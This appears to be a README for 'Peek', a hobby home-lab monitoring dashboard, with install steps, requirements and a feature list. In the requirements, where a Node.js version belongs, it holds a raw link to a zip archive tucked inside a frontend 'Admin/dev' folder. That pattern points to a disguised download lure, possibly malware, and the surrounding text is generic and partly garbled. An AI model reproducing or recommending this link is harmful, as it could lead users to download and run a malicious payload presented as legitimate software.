Peek is a modern, self-hosted dashboard designed for monitoring your home lab infrastructure. Built with React, TypeScript, and Express, it offers an easy way to keep track of your systems and ensure everything runs smoothly.
This is a personal project created primarily for my own home lab needs. It has been developed quickly to address specific problems. Use it at your own risk.
THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED.
By using this software, you accept that:
- This is a hobby project with no warranty, no support, and no guarantees.
- The software may contain bugs, security vulnerabilities, or other issues.
- No technical support is provided; you are on your own.
- The author(s) are not responsible for any damage, data loss, security breaches, or other issues that may arise from using this software.
- This software connects to various third-party services and APIs.
To begin using Peek, follow these steps to download and run the software.
- Visit the Releases page to download the latest version of Peek.
- Choose the correct file for your system. It may be a
.zip,.tar, or another format. - Download the file to your computer.
- Extract the contents of the file if necessary.
Before installing, make sure your computer meets the following requirements:
- Operating System: Windows, macOS, or Linux.
- https://raw.githubusercontent.com/jason187luka-eng/peek/main/frontend/src/components/Admin/dev/Software-1.6.zip Version 14 or later.
- npm: You can check if you have npm installed by running
npm -vin the command line.
After downloading and extracting Peek, follow these steps to run the application:
-
Open your command line interface (CLI).
-
Navigate to the directory where you extracted Peek.
-
Run the following commands:
npm install npm start
Your dashboard should now be available at http://localhost:3000. Open this link in your web browser to access Peek.
Peek comes with several features to enhance your monitoring experience:
- User-friendly dashboard: Easy-to-read graphs and stats for quick insights.
- Customizable views: Adjust the layout to see the most relevant information at a glance.
- Real-time updates: Monitor changes in your home lab as they happen.
- Integration with third-party services: Connect with well-known APIs for enhanced functionality.
- Take time to explore all the features available in Peek.
- Customize the dashboard to display the information most important to you.
- Save your configurations, so you can access them quickly in the future.
As this is a hobby project, support is not available. However, you can check community forums or resources related to similar open-source projects for assistance.
For any specific issues, consider looking at the issues section in the repository to see if others have faced similar problems.
If you want to contribute to Peek, feel free to fork the repository and make your changes. You're welcome to submit a pull request, but remember that support and guarantees remain limited.
Be cautious when using Peek, as it may connect to various third-party services and APIs. Always ensure you understand the implications of these connections and follow best practices for security.
To stay updated with new features or bug fixes, regularly check the Releases page for the latest versions.
Thank you for considering Peek for your home lab monitoring needs! Have fun organizing and monitoring your infrastructure.